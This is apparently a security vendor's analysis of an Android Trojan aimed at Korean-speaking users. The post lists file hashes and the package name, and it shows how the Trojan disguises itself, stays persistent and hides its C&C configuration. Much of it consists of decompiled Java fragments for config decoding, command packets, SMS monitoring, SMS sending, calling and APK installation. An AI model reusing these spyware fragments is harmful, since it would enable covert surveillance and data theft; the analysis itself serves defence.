Trojan Utilizes Customized Communication Packets to Target Korean Speaking Users
Trustlook labs has discovered a Trojan which targets Korean speaking mobile users. The Trojan collects user data, including contacts, call logs, and SMS history. It also records audio, takes pictures, makes phone call, and sends SMS messages.
The Trojan disguises itself as a system app named “System Service,” and demands device administrator rights. This prevents it from being removed. The malware also removes its icon from the launcher menu to further mask itself.
The package can be identified as having the following characteristics:
- MD5: b737d915ca36edbb24cb844ebfb621d9
- SHA256: 734fb5812af358bc4d5a5d70e7c3c0321b9b16f8832d24b096393474bc9c3f8b
- Size: 525055 bytes
- App name: System Service
- Package name: com.google.service
The package icon is:
Upon execution, the app persuades the user to enable Device Administrator Access in order to maintain its persistence on the system:
The message on the screen is in Korean. Translated into English it says: “Encrypted data transfer, your personal information can be protected.” The app targets Korean speaking users, and more specifically, mobile users in South Korea. Once the user clicks “Activate,” the app removes its icon from the launcher to hide itself. If the user attempts to disable the Device Administrator, the app will keep popping up the above window to force the user to re-enable it.
The app stores its C&C server IP port in a file “config.db” in the assets folder. It appears as follows: LCXwKS@0KS@sMSLeLCf2MA73MSDuLSL<
The app uses the following code snippets to decode the string:
public boolean readConfig() {
[…]
try {
BufferedReader br = new BufferedReader(new InputStreamReader(getAssets().open("config.db")));
try {
int i;
StringBuilder sb = new StringBuilder();
while (true) {
String line = br.readLine();
if (line == null) {
break;
}
sb.append(line);
}
String config = sb.toString();
[…]
byte[] buf = config.getBytes();
byte[] buf1 = new byte[buf.length];
for (i = 0; i < buf.length; i++) {
buf1[i] = (byte) (buf[i] + 1);
}
byte[] buf2 = Base64.decode(buf1, 0);
byte[] buf3 = new byte[buf2.length];
for (i = 0; i < buf2.length; i++) {
buf3[i] = (byte) (buf2[i] + 1);
}
config = new String(buf3, "utf-8");
[…]
String[] data = config.split(" ");
this.host = data[0];
this.port = Integer.parseInt(data[1]);
this.password = data[2];
result = true;
[…]
}
The data in the config.db file above is decoded into the following string, which includes the C&C IP address, port and password used to encrypt the data:
172.16.1.64!1985!962024
The app uses customized packets to communicate with the C&C server in order to avoid network detection. It processes four packets:
- CommandPacket: These packets are used to store the command received from the server.
- TransportPacket: These packets contain the data, data length, and sequence number, which are the main data exchange protocols between the app and the C&C server.
- LogPacket: The app logs actions and uses these packets to send the log file.
- PreferencePacket: These packets are mainly used to update the configuration between the app and the C&C server.
The following code snippets are used to process the CommandPacket:
public CommandPacket(short cmd, int targetChannel, byte[] arg) {
this.commande = cmd;
this.argument = arg;
this.targetChannel = targetChannel;
}
public void parse(byte[] packet) {
ByteBuffer b = ByteBuffer.wrap(packet);
this.commande = b.getShort();
this.targetChannel = b.getInt();
this.argument = new byte[b.remaining()];
b.get(this.argument, 0, b.remaining());
}
public void parse(ByteBuffer b) {
this.commande = b.getShort();
this.targetChannel = b.getInt();
this.argument = new byte[b.remaining()];
b.get(this.argument, 0, b.remaining());
}
public byte[] build() {
byte[] byteCmd = ByteBuffer.allocate(2).putShort(this.commande).array();
byte[] byteTargChan = ByteBuffer.allocate(4).putInt(this.targetChannel).array();
byte[] cmdToSend = new byte[((byteCmd.length + byteTargChan.length) + this.argument.length)];
System.arraycopy(byteCmd, 0, cmdToSend, 0, byteCmd.length);
System.arraycopy(byteTargChan, 0, cmdToSend, byteCmd.length, byteTargChan.length);
System.arraycopy(this.argument, 0, cmdToSend, byteCmd.length + byteTargChan.length, this.argument.length);
return cmdToSend;
}
The following is the struct of CommandPacket:
struct CommandPacket
{
short command;
byte[] argument;
int channel;
} ;
The app supports the following commands:
Command description
————————————————
109 ; display a message window
110 ; monitor SMS
112 ; get contacts
113 ; get SMS message
114 ; list file/directory
115 ; send file
116 ; make call
117 ; send SMS
119 ; stop SMS monitoring
121 ; get device information
122 ; open an URL in a browser
123 ; vibrate
124 ; download file
125 ; install an APK
The following code snippets are used to monitor the SMS message:
[...]
public SMSMonitor(MainService service, int channel, byte[] data) {
this.ctx = service;
this.channel = channel;
this.numbersAndKeywords = EncoderHelper.decodeHashMap(data);
this.numberList = new ArrayList();
this.keywordList = new ArrayList();
String keyword = (String) this.numbersAndKeywords.get("keyword");
try {
String[] phoneArray = ((String) this.numbersAndKeywords.get("phone")).split(";");
for (Object add : phoneArray) {
this.numberList.add(add);
}
String[] keywordArray = keyword.split(";");
for (Object add2 : keywordArray) {
this.keywordList.add(add2);
}
} catch (Exception e) {
e.printStackTrace();
}
IntentFilter intentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
intentFilter.setPriority(Integer.MAX_VALUE);
this.ctx.registerReceiver(this.SMSreceiver, intentFilter);
}
The malware collects device information by using the following code snippets:
public class DeviceInfo {
int channel;
MainService ctx;
DeviceInformationPacket p = new DeviceInformationPacket();
[…]
private void battryInfo(Intent intent) {
int i = intent.getIntExtra("health", 0);
int j = intent.getIntExtra("level", 0);
int k = intent.getIntExtra("plugged", 0);
boolean bool = intent.getExtras().getBoolean("present");
int m = intent.getIntExtra("scale", 0);
[…]
public void sensorsInfo() {
List<Sensor> sensors = ((SensorManager) this.ctx.getSystemService("sensor")).getSensorList(-1);
ArrayList<String> list = new ArrayList();
for (Sensor name : sensors) {
list.add(name.getName());
}
this.p.setSensors(list);
}
}
The following code snippets are used to send SMS message:
HashMap<String, String> map = EncoderHelper.decodeHashMap(byteBuffer.array());
String number = (String) map.get(Protocol.KEY_SEND_SMS_NUMBER);
String body = (String) map.get(Protocol.KEY_SEND_SMS_BODY);
if (body.getBytes().length < 167) {
SmsManager.getDefault().sendTextMessage(number, null, body, null, null);
} else {
SmsManager.getDefault().sendMultipartTextMessage(number, null, MessageDecoupator(body), null, null);
}
The following code snippets are responsible for making phone calls:
Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + new String(byteBuffer.array())));
intent.setFlags(268435456);
this.service.startActivity(intent);
The app uses the code below to install the downloaded APK:
public class ApkInstaller {
private MainService service;
public ApkInstaller(MainService service, int channel) {
this.service = service;
}
public void hideInstall(String apkAbsolutePath) {
}
public void installApk(String apkPath) {
normalInstall(apkPath);
}
public void normalInstall(String apkPath) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setFlags(268435456);
intent.setDataAndType(Uri.fromFile(new File(apkPath)), "application/vnd.android.package-archive");
this.service.startActivity(intent);
}
}
Summary
The Trojan uses customized communication packets to avoid network detection. It allows the attacker to take full control of the device in order to steal data, monitor usage, and perform other actions that violate a user’s privacy. Trustlook’s anti-threat platform can effectively protect users against this invasion.